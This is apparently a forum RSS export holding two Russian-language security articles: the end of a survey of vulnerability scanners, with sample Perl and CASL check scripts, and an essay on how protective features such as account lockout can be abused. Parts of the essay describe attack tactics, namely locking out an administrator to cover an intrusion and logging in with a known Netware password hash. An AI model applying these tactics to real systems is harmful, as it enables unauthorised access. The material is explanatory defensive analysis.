						&lt;p&gt;Однако в данном случае остаются уязвимости, с трудом обнаруживаемые или совсем не обнаруживаемые через сеть. Например, проверка &amp;quot;слабости&amp;quot; паролей, используемых пользователями и другими учетными записями. В случае использования сетевого сканера вам потребуется затратить очень много времени на удаленную проверку каждой учетной записи. В то же время, аналогичная проверка, осуществляемая на локальном узле, проводится на несколько порядков быстрее. Другим примером может служить проверка файловой системы сканируемого узла. Во многих случаях ее нельзя осуществить дистанционно. &lt;/p&gt;
						&lt;p&gt;Достоинства сканирования на уровне ОС кроются в прямом доступе к низкоуровневым возможностям ОС хоста, конкретным сервисам и деталям конфигурации. Тогда как сканер сетевого уровня имитирует ситуацию, которую мог бы иметь внешний злоумышленник, сканер системного уровня может рассматривать систему со стороны пользователя, уже имеющего доступ к анализируемой системе и имеющего в ней учетную запись. Это является наиболее важным отличием, поскольку сетевой сканер по определению не может предоставить эффективного анализа возможных рисков деятельности пользователя. &lt;/p&gt;
						&lt;p&gt;Многие сканеры используют более чем один метод проверки одной и той же уязвимости или класса уязвимостей. Однако в случае большого числа проверок использование нескольких методов поиска одной уязвимости привносит свои проблемы. Связано это со скоростью проведения сканирования. &lt;/p&gt;
						&lt;p&gt;Например, различие между системами CyberCop Scanner и Internet Scanner в том, что разработчики из NAI никогда не добавят в свой продукт проверку, если не могут с уверенностью сказать, что проверка надежно обнаруживает уязвимость. В то время как разработчики ISS пополняют свою базу даже в том случае, если их проверка обнаруживает уязвимость с некоторой точностью. Затем, уже после выпуска системы, происходит возврат к разработанным проверкам, их улучшение, добавление новых механизмов осуществления проверок той же уязвимости для повышения достоверности, и т.д. Достаточно спорный вопрос, что лучше. С одной стороны лучше, когда вы с уверенностью можете сказать, что на анализируемом узле определенной уязвимости нет. С другой, даже если существует хоть небольшой шанс, что вы можете обнаружить уязвимость, то надо этим шансом воспользоваться. В любом случае наиболее предпочтительным является проверка типа &amp;quot;имитация атак&amp;quot;, которая обеспечивает наибольший процент точного обнаружения уязвимостей. &lt;/p&gt;
						&lt;p&gt;Не все проверки, разработанные в лабораторных условиях, функционируют так, как должны. Даже, несмотря на то, что эти проверки тестируются, прежде чем будут внесены в окончательную версию сканера. На это могут влиять некоторые факторы: &lt;/p&gt;
						&lt;p&gt;Особенности конфигурации пользовательской системы. &lt;br /&gt;Способ, которым был скомпилирован анализируемый демон или сервис. &lt;br /&gt;Ошибки удаленной системы. &lt;br /&gt;И т.д. &lt;br /&gt;В таких случаях автоматическая проверка может пропустить уязвимость, которая легко обнаруживается вручную и которая может быть широко распространена во многих системах. Проверка заголовка в совокупности с активным зондированием в таком случае может помочь определить подозрительную ситуацию, сервис или узел. И хотя уязвимость не обнаружена, еще не значит, что ее не существует. Необходимо другими методами, в т.ч. и неавтоматизированными, исследовать каждый подозрительный случай. &lt;/p&gt;
						&lt;p&gt;Разница в реализации&lt;br /&gt;Системы различных производителей могут использовать различные методы поиска одной и той же уязвимости, что может привести к ее нахождению в случае использования одного средства и ненахождения - в случае другого. Хорошую ассоциацию приводит ведущий разработчик системы Internet Scanner Девид ЛеБлан. &amp;quot;Если вы спросите меня - дома мой товарищ или нет, я просто позвоню ему. Если его телефон не отвечает, то я позвоню вам и сообщу, что его нет дома. Затем вы идете к нему домой, стучите в дверь и он отвечает. Не называйте меня лжецом только из-за того, что то, что я пытался сделать не сработало. Возможно, я был не прав или необходимо было использовать другие методы, но я пытался сделать то, что считал нужным&amp;quot;. Так и со средствами поиска уязвимостей. &lt;/p&gt;
						&lt;p&gt;Кроме того, если в созданном отчете не сказано о той или иной уязвимости, то иногда стоит обратиться к журналам регистрации (log) системы анализа защищенности. В некоторых случаях, когда сканер не может со 100%-ой уверенностью определить наличие уязвимости, он не записывает эту информацию в отчет, однако сохраняет ее в логах. Например, анализ и разбор поля sysDescr в журнале регистрации системы Internet Scanner существенно помогает во многих спорных случаях. &lt;/p&gt;
						&lt;p&gt;Существуют различия и между тем, как влияет одна и та же проверка на различные версии сервисов в различных операционных системах. Например, использование учетной записи halt для демона Telnet на некоторых компьютерах под управлением Unix или Windows NT не приведет к плачевным последствиям, в то время как на старых версиях Unix это вызовет запуск команды /bin/halt при попытке доступа к удаленной системе с использованием этой учетной записи. &lt;/p&gt;
						&lt;p&gt;Перспективы развития&lt;br /&gt;С 1992 года, когда появился первый сканер SATAN, существенно изменились требования к такого рода средствам. Сейчас уже недостаточно, чтобы система анализа защищенности обладала только обширной базой уязвимостей. Поэтому производители стали расширять функциональность своих продуктов за счет добавления следующих возможностей. &lt;/p&gt;
						&lt;p&gt;Автоматическое обновление уязвимостей&lt;br /&gt;До недавнего времени пополнение сканера новыми уязвимостями проводилось достаточно редко (1 раз в месяц и реже). При этом под пополнением понималось обновление всей системы анализа защищенности, т.е. получение новой версии программного обеспечения. &lt;/p&gt;
						&lt;p&gt;Сейчас ситуация меняется. В некоторых системах, например, HackerShield существует возможность автоматического обращения через Internet к Web-серверу компании-производителя и загрузка с него новых уязвимостей. При этом соединение с сервером может производиться как по требованию оператора системы, так и по заданному расписанию. &lt;/p&gt;
						&lt;p&gt;Единый формат базы уязвимостей&lt;br /&gt;В целях унификации и возможной интеграции систем анализа защищенности в настоящий момент ведутся работы по созданию единого для всех сканеров формата базы уязвимостей. И хотя работа эта только началась и ей далеко до своего завершения, первые шаги уже сделаны. Например, лаборатория COAST в университете Purdue разработала проект такой базы данных. Одна из проблем, с которой пришлось столкнуться исследователям, - это описание уязвимостей и их проверок (атак). &lt;/p&gt;
						&lt;p&gt;Языки описания уязвимостей и проверок&lt;br /&gt;Попытки добавить механизмы описания уязвимостей и проверок в системы анализа защищенности велись давно. Они предпринимались практически всеми компаниями-разработчиками. Первая такая попытка была предпринята Витсом Венема и Деном Фармером - разработчиками системы SATAN. Описание новых уязвимостей, точнее их проверок, осуществлялось при помощи языка Perl. Это достаточно нетривиальная задача требовала обширных знаний как языка Perl, так и архитектуры стека протоколов TCP/IP и сканируемой операционной системы. По этому же пути (использование Perl) пошли разработчики системы WebTrends Security Analyzer. В приложении 1 приведен пример проверки, позволяющей определить тип операционной системы сканируемого узла. Язык Perl, наряду с языком C, используется и в системе Internet Scanner. Причем помимо возможностей, встроенных в саму систему Internet Scanner, компания ISS поставляет отдельную систему описания атак APX (Advanced Packets eXchange). &lt;/p&gt;
						&lt;p&gt;Другим языком, используемым при описании осуществляемых проверок, стал Tcl. Модификации этого языка используются в системах APX (бесплатное приложение к системе Internet Scanner), Security Manager и CyberCop Scanner. Компания Network Associates последовала примеру компании ISS и выделила механизм описания уязвимостей в отдельную систему CyberCop CASL (Custom Audit Scripting Language). Также как и APX, система CyberCop CASL может функционировать под управлением ОС Windows NT и Unix (Linux для CASL и Solaris для APX). &lt;/p&gt;
						&lt;p&gt;В системах APX и CASL описываются параметры сетевых пакетов, при помощи которых моделируются различные атаки. К таким параметрам можно отнести флаги в заголовке IP-пакета, номера портов в заголовке TCP-пакета, поля данных в пакетах различных протоколов и т.д. В качестве примера (Приложение 2) можно привести проверку возможности осуществления подмены пакетов (Spoofing). &lt;/p&gt;
						&lt;p&gt;Однако наиболее удобным с точки зрения конечного пользователя (не программиста) является язык VDL (Vulnerability Descriptive Language) и VEL (Vulnerability Exploit Language), разработанный компанией Cisco. Проверки, описываемые этими языками, основаны на простых логических утверждениях, и пользователь может добавлять правила, если он видит, что они необходимы. Примером такого правила может быть: &lt;/p&gt;
						&lt;p&gt;# Секция описания сервисов: На анализируемом узле найден netstat &lt;br /&gt;port 15 using protocol tcp =&amp;gt; Service:Info-Status:netstat &lt;/p&gt;
						&lt;p&gt;Данная проверка описывает правило, которое определяет наличие сервиса netstat на 15-ом TCP-порту анализируемого узла. Более сложное следующее правило определяет наличие запущенного приложения SuperApp устаревшей версии по заголовку, возвращаемому на запрос, обращенный к портам 1234 или 1235. &lt;/p&gt;
						&lt;p&gt;# Пользовательская проверка: Приложение SuperApp 1.0 запущено на сканируемом хосте. &lt;br /&gt;(scanfor &amp;quot;SuperApp 1.0&amp;quot; on port 1234) || (scanfor &amp;quot;SuperApp 1.0 Ready&amp;quot; on port 1235) =&amp;gt; VULp:Old-Software:Super-App-Ancient:10003 &lt;/p&gt;
						&lt;p&gt;Данная потенциальная уязвимость (VULp) относится к типу &amp;quot;устаревшее (потенциально уязвимое) программное обеспечение&amp;quot; (Old-Software) и носит название Supper-App-Ancient, задаваемое пользователем. Число 10003 определяет уникальный номер записи в базе данных уязвимостей системы NetSonar (NSDB). &lt;/p&gt;
						&lt;p&gt;Механизм описания своих проверок и уязвимостей является очень полезной возможностью для администраторов, отслеживающих уязвимости, описанные в Bugtraq и иных списках рассылки.Эта возможность позволяет быстро записать новое правило и использовать его в своей сети. Однако можно заметить, что язык, используемый в системе NetSonar и описывающий эти правила, достаточно элементарен и может помочь только в самых простых случаях. В сложных ситуациях, когда проверку нельзя записать одним правилом, необходимо использовать более сложные сценарии, которые достигаются применением языков Perl, Tcl и C. &lt;/p&gt;
						&lt;p&gt;Необходимо заметить, что хотя данная возможность и является полезной, ее эффективность достаточно эфемерна. В своей практической деятельности мне не приходилось встречаться с организациями, которые могли бы себе позволить содержать целый штат или одного сотрудника, занимающихся исследованиями в области новых проверок и уязвимостей (я не беру в расчет силовые ведомства и иные организации, работающие в области защиты информации). Как правило, человек, отвечающий за обеспечение безопасности, не обладает глубокими познаниями в программировании. Кроме того, помимо анализа защищенности на нем &amp;quot;висит&amp;quot; еще много других задач (контроль пользователей, установка прав доступа и т.д.), и он просто не имеет времени для такой творческой работы, как описание новых проверок. &lt;/p&gt;
						&lt;p&gt;Заключение&lt;br /&gt;Использовать такого рода средства надо. Но хочу еще раз заметить, что не стоит считать их панацеей от всех бед. Они ни в коем случае не заменяют специалистов в области безопасности. Они всего лишь автоматизируют их работу, помогая быстро проверить сотни узлов, в т.ч. и находящихся на других территориях. Они помогут вам обнаружить практически все известные уязвимости и порекомендовать меры, их устраняющие. Они автоматизируют этот процесс, а с учетом возможности описания своих собственных проверок, помогут эффективно применять их в сети любой организации, учитывая именно вашу специфику. &lt;/p&gt;
						&lt;p&gt;Надо помнить, что сканер - это всего лишь часть эффективной политики безопасности сети, которая складывается не только из применения различных технических мер защиты (средств анализа защищенности, систем обнаружения атак, межсетевых экранов и т.п.), но и из применения различных организационных и законодательных мер. &lt;/p&gt;
						&lt;p&gt;Приложение 1. Пример проверки, осуществляемой системой WebTrends Security Analyzer&lt;br /&gt;&amp;lt;TestAuthor&amp;gt; WebTrends Corporation &amp;lt;/TestAuthor&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;TestCopyright&amp;gt; Copyright 1998, WebTrends Corporation, All Rights Reserved. &amp;lt;/TestCopyright&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;TestVersion&amp;gt; 2.0 &amp;lt;/TestVersion&amp;gt;&lt;/p&gt;
						&lt;p&gt;====================================================================&lt;/p&gt;
						&lt;p&gt;&amp;lt;TestDependency&amp;gt;estabvc&amp;lt;/TestDependency&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;TestCategory&amp;gt;inventory&amp;lt;/TestCategory&amp;gt;&lt;/p&gt;
						&lt;p&gt;====================================================================&lt;/p&gt;
						&lt;p&gt;&amp;lt;TestTitle&amp;gt;Query OS Type via Netbios&amp;lt;/TestTitle&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;TestVulnerabilityDescription&amp;gt;&lt;br /&gt;This test attempts to determine the operating system type and version running on&lt;br /&gt;the specified hosts.&lt;br /&gt;&amp;lt;/TestVulnerabilityDescription&amp;gt;&lt;/p&gt;
						&lt;p&gt;====================================================================&lt;/p&gt;
						&lt;p&gt;&amp;lt;Test&amp;gt;&lt;/p&gt;
						&lt;p&gt;# osdetectnt.pl&lt;br /&gt;# attempt to detect OS using a netbios over tcp/ip call&lt;/p&gt;
						&lt;p&gt;require &amp;quot;crowbar.pl&amp;quot;;&lt;/p&gt;
						&lt;p&gt;$theTargetNetbiosName = GetStringParam($crowbar::WTDB_NetbiosName);&lt;br /&gt;crowbar::WTDebugOutput(&amp;quot;OSDetect -- the target netbios name is $theTargetNetbiosName&amp;quot;);&lt;/p&gt;
						&lt;p&gt;if($theTargetNetbiosName){&lt;br /&gt;&amp;#160; &amp;#160; $a = crowbar::WTGetNTOSInfo($theTargetNetbiosName);&lt;br /&gt;&amp;#160; &amp;#160; if($a){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; $a =~ /^OSTYPE (.*):VERSION (.*)/;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; $type = $1;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; $version = $2;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTDebugOutput(&amp;quot;Type is $type, version is $version\n&amp;quot;);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; if($version =~ m/OSVersion_Unknown/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length(&amp;quot;Unknown&amp;quot;) + 1, &amp;quot;Unknown&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($version =~ m/OSVersion_WindowsNT_3_5_0/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length(&amp;quot;Version 3.5&amp;quot;) + 1, &amp;quot;Version 3.5&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($version =~ m/OSVersion_WindowsNT_3_5_1/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length(&amp;quot;Version 3.51&amp;quot;) + 1, &amp;quot;Version 3.51&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($version =~ m/OSVersion_WindowsNT_4_0/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length(&amp;quot;Version 4.0&amp;quot;) + 1, &amp;quot;Version 4.0&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($version =~ m/OSVersion_WindowsNT_5_0/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length(&amp;quot;Version 5.0&amp;quot;) + 1, &amp;quot;Version 5.0&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; if($type =~ m/OSType_Unknown/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Unknown&amp;quot;) + 1, &amp;quot;Unknown&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($type =~ m/OSType_Unix/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Unix Server&amp;quot;) + 1, &amp;quot;Unix Server&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($type =~ m/OSType_WindowsNTServer/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Windows NT Server&amp;quot;) + 1, &amp;quot;Windows NT Server&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($type =~ m/OSType_WindowsNTPDC/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Windows NT Primary Domain Controller&amp;quot;) + 1, &amp;quot;Windows NT Primary Domain Controller&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($type =~ m/OSType_WindowsNTBDC/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Windows NT Backup Domain Controller&amp;quot;) + 1, &amp;quot;Windows NT Backup Domain Controller&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($type =~ m/OSType_WindowsNTWorkstation/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Windows NT Workstation&amp;quot;) + 1, &amp;quot;Windows NT Workstation&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($type =~ m/OSType_WindowsNT/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Windows NT&amp;quot;) + 1, &amp;quot;Windows NT&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($type =~ m/OSType_Windows95/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Windows 95/98&amp;quot;) + 1, &amp;quot;Windows 95/98&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elsif($type =~ m/OSType_Windows98/){&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(&amp;quot;Windows 98&amp;quot;) + 1, &amp;quot;Windows 98&amp;quot;, -1);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; }&lt;br /&gt;&amp;#160; &amp;#160; }&lt;br /&gt;}&lt;br /&gt;&amp;lt;/Test&amp;gt;&lt;/p&gt;
						&lt;p&gt;Приложение 2. Пример проверки, осуществляемой системой CyberCop CASL&lt;br /&gt;# spoof_check.cape&lt;/p&gt;
						&lt;p&gt;# this script is used by the built-in filter checks&lt;br /&gt;# please do not modify it&lt;br /&gt;ip&lt;br /&gt;ip_version=4&lt;br /&gt;ip_proto=IPPROTO_UDP&lt;br /&gt;ip_flags=0&lt;br /&gt;ip_id=42&lt;br /&gt;ip_done&lt;/p&gt;
						&lt;p&gt;udp&lt;br /&gt;udp_sport=6834&lt;br /&gt;udp_dport=5574&lt;br /&gt;udp_done&lt;/p&gt;
						&lt;p&gt;data=SAS-ipspoofing&lt;/p&gt;
						&lt;p&gt;end_of_packet&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:49:55 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=24#p24</guid>
		</item>
		<item>
			<title>Безопасность против безопасности</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=23#p23</link>
			<description>&lt;p&gt;История компьютерной безопасности полна примеров, когда при разработке вычислительных систем (ВС) требования совместимости, эффективности, удобства вступали в противоречие с требованиями безопасности, и безопасность проигрывала. Аналогично, при администрировании системы, лицо, ответственное за это, имеет возможность настроить систему на больший или меньший уровень защищенности, но часто жертвует безопасностью в угоду тому же удобству пользователей, скорости обработки данных и т.п. Наверное, каждый, кто хоть немного интересуется безопасностью компьютерных систем, может привести не один пример на этот счет1. &lt;/p&gt;
						&lt;p&gt;В этой же статье будет рассмотрен парадоксальный, на первый взгляд, аспект, когда безопасность вступает в противоречие с ... самой безопасностью. Это могут быть противоречия между защитными механизмами одного модуля системы и другого, влияние защиты от некоторого класса угроз на успешность осуществления других и т.п. &lt;/p&gt;
						&lt;p&gt;Начну с примера, который и послужил толчком к созданию данной статьи. &lt;/p&gt;
						&lt;p&gt;Пример 1. Супервизор кусает локти.&lt;br /&gt;&amp;quot;Отсутствие механизмов автоматического запрещения аутентификации после нескольких неудачных попыток и временного закрытия бюджета (account) пользователя ... может при использование простых средств аутентификации привести к подбору параметров аутентификации&amp;quot; [1]. &lt;/p&gt;
						&lt;p&gt;У сетевой ОС Novell Netware (пользующейся репутацией достаточно защищенной ОС: по крайней мере, Novell Netware 4.11 - единственная ОС широкого назначения, имеющая американский сертификат по классу защищенности для сетевых ОС) среди настроек есть пункт &amp;quot;Intruder Detection&amp;quot; (обнаружение нарушителей). Это громкое название на самом деле ни что иное, как регистрация на сервере неоднократных попыток ввода неправильного пароля. Правильно ли это с точки зрения компьютерной безопасности? Безусловно, регистрация попыток неверной аутентификации - обязательное требование к защищенным вычислительным системам, упоминаемое как в импортных, так и отечественных нормативных документах. Однако фирма Novell пошла несколько дальше - и логику тут легко понять - действительно, почему бы не просто фиксировать такие попытки, но и не пресекать их средствами ОС? Пусть хакер пытается подобрать пароль к вашему ресурсу (account) в системе, тогда через N1 попыток система выдает сообщение об попытке взлома, а через N2 - вообще блокирует дальнейшие попытки ввода паролей (в настройках Novell Netware это называется &amp;quot;Lock account after detection&amp;quot;). Логично? Безусловно. Правильно? А вот тут стоит чуть-чуть задуматься о том, что же означают слова &amp;quot;блокировать дальнейшие попытки ввода паролей&amp;quot;. А означают они буквально следующее - в течение некоторого времени t (&amp;quot;Length of account lockout&amp;quot;) никакой пароль не будет восприниматься системой, ваш ресурс будет заблокирован (disabled). Иначе говоря, в течение этого времени t даже вам, законному пользователю, не дадут зарегистрироваться в системе из-за действий хакера. &lt;/p&gt;
						&lt;p&gt;В настройках Novell Netware 3.x по умолчанию N1=3, N2=7, t=15 минут. И вот теперь представим, что хакеру необходимо обезопасить свою новейшую атаку на Novell Netware от возможных контрдействий супервизора (замечу, супервизора, беспокоящегося о проблемах безопасности, поэтому он включил опцию &amp;quot;Intruder detection&amp;quot;). Он вводит 7 неправильных паролей супервизора, и в течении 15 минут может спокойно реализовывать свою основную атаку, супервизору останется лишь кусать локти. Самое интересное, что блокировка ресурса супервизора приводит к невозможности ни удаленно подключится к консоли с помощью RCONSOLE, ни разблокировать клавиатуру на консоли (опция в утилите MONITOR.NLM), т.е. он не может помешать атаке даже с консоли сервера. &lt;/p&gt;
						&lt;p&gt;Итак, парадоксальное свершилось - администратор, настроив свою систему на потенциально больший уровень безопасности, оказался более беззащитен перед новой угрозой, чем если бы он этого не делал! Да, здесь налицо видны недостатки того решения, что предложила фирма Novell - можно было блокировать дальнейшие попытки ввода пароля только с одного сетевого адреса (т.е. конкретной машины), можно было разрешать доступ даже к заблокированному ресурсу, если все же введен правильный пароль, можно было вообще решать проблему удаленного подбора паролей введением увеличивающейся задержки на отклик при вводе очередного неправильного пароля - но ведь сделано именно так и, если не углубляться, кажется, что правильно! &lt;/p&gt;
						&lt;p&gt;Безопасность о двух концах.&lt;br /&gt;Пример выше еще раз убеждает в том, что при разработке и реализации подсистемы безопасности ВС принимаемые решения должны быть тщательно выверены и проанализированы со всех точек зрения (а не должны слепо следовать требованиям стандартов, нормативов или некоторой субъективной логики). Одну такую точку зрения я предлагаю в этой статье - ни одно решение, направленное на профилактику, затруднение, обнаружение, регистрацию, противодействие или восстановление от некоторой угрозы не должно повышать вероятность осуществления другой угрозы. Возможно, это требование будет самопротиворечиво в общем случае, тогда необходимо его уточнить так, что угрозы, вероятность осуществления которых может повыситься, не должны быть более опасными. &lt;/p&gt;
						&lt;p&gt;Понятие &amp;quot;опасности&amp;quot; угрозы также нельзя, видимо, определить в общем случае (можно очень долго дискутировать, что, например, является более опасным - раскрытие или уничтожение информации, да это и не является целью данной статьи), но ранжирование угроз по степени опасности можно проводить, исходя из задач защищенной вычислительной системы. Для подавляющего большинства защищенных систем общего назначения, впрочем, можно признать, что из трех основных классов угроз: раскрытия, целостности и отказа в обслуживании, - последняя является наименее опасной. &lt;/p&gt;
						&lt;p&gt;Таким образом, если условно разделить функции подсистемы защиты на (см. рис. 1): &lt;/p&gt;
						&lt;p&gt;профилактику (предотвращение) &lt;br /&gt;затруднение &lt;br /&gt;обнаружение &lt;br /&gt;противодействие (отражение) &lt;br /&gt;регистрацию (учет) &lt;br /&gt;восстановление &lt;br /&gt;то для каждой из них можно придумать такие вполне вероятные способы внедрения, которые будут нарушать сформулированный выше принцип. &lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Рис. 1. Функции подсистемы защиты. &lt;/p&gt;
						&lt;p&gt;К наиболее распространенным и универсальным (могущим существовать во многих ВС) я бы отнес следующие сценарии нарушения безопасности, использующие сами средства защиты (цифры соответствуют предыдущему списку): &lt;/p&gt;
						&lt;p&gt;1. &lt;/p&gt;
						&lt;p&gt;1.1. Предотвращение угрозы приводит к событию, которое является более уязвимым (нештатным) по сравнению с плановой работой системы. Этими событиями могут быть перезагрузки машины, переинициализации подсистемы безопасности и т.п. (см. пример 2 - использование механизма смены паролей для атак на подсистему аутентификации). &lt;/p&gt;
						&lt;p&gt;1.2. Предотвращение угрозы требует значительных ресурсов ЭВМ, из-за чего систему легче подвергнуть отказу в обслуживании (см. пример 5 - использование шифрования трафика для атак отказа в обслуживании). &lt;/p&gt;
						&lt;p&gt;2. Затруднение угрозы приводит к установке таких атрибутов безопасности, которые являются неприемлемыми для пользователей этой системы, что приводит к отключению или фактическому сведению на нет системы защиты (см. пример 4 - установка минимальной длины пароля для атак на криптографическую подсистему). &lt;/p&gt;
						&lt;p&gt;3. Система обнаружения угроз имеет такие расплывчатые признаки угрозы, что ее постоянное срабатывание приводит к ее полному отключению (пример - резидентные антивирусные блокировщики первого поколения, доводившие пользователя до исступления вопросами &amp;quot;Разрешать запись в файл XXX (Д/Н)?&amp;quot;). &lt;/p&gt;
						&lt;p&gt;4. &lt;/p&gt;
						&lt;p&gt;4.1. Система противодействия реализована так, что она останавливает систему в крайнем случае с целью не допустить потери информации в ней. Тогда хакер может смоделировать &amp;quot;крайний случай&amp;quot; и система выйдет из строя. &lt;/p&gt;
						&lt;p&gt;4.2. Система активного противодействия может пытаться заблокировать или уничтожить систему, с которой происходит атака. Злоумышленник может подменить адрес, с которого происходит атака, на адрес самой системы. &lt;/p&gt;
						&lt;p&gt;4.3 Противодействие системы может быть направлено против ее администратора, отвечающего за отражение атаки. (см. пример 1 - блокирование ресурса администратора и невозможность противодействия им другим атакам). &lt;/p&gt;
						&lt;p&gt;5. Использование системой регистрации значительных ресурсов ЭВМ, из-за чего происходит отказ системы (см. пример 3 - переполнение файла регистрации событий, приводящее к отказу в обслуживании). &lt;/p&gt;
						&lt;p&gt;6. Предположим, что система восстановления поле атаки восстанавливает &amp;quot;ядро&amp;quot; системы из некого резервного источника. Но, если в результате атаки хакер сможет внедрить &amp;quot;троянского коня&amp;quot; непосредственно в резервную копию, то в результате такого восстановления эта закладка попадет в реально работающую систему. &lt;/p&gt;
						&lt;p&gt;Далее будет рассмотрен ряд примеров, иллюстрирующий эти сценарии. &lt;/p&gt;
						&lt;p&gt;Пример 2. Меняйте пароли чаще!&lt;br /&gt;&amp;quot;В случае однократной регистрации ... от пользователей необходимо потребовать, чтобы они регулярно меняли свои пароли&amp;quot; [2]. &lt;/p&gt;
						&lt;p&gt;Опять Novell Netware. Известно, что все пароли пользователей хранятся в ней на сервере в виде 128-битных значений, получаемых в результате применения хэш-функции к паролю. Знание этого хэш-значения злоумышленником автоматически приводит к возможности зарегистрироваться на сервере под именем того пользователя, чье хэш-значение он знает. (Это может быть сделано с помощью специальной слегка подправленной программы login, а также путем генерации &amp;quot;псевдопароля&amp;quot; из известного хэш-значения. Здесь используется тот факт, что хэш-функция, применяемая во всех версиях этой системы, является очень нестойкой и допускает очень быстрое вычисление коллизий (т.е. последовательностей, которые будет на выходе давать одно и то же хэш-значение) [3]). &lt;/p&gt;
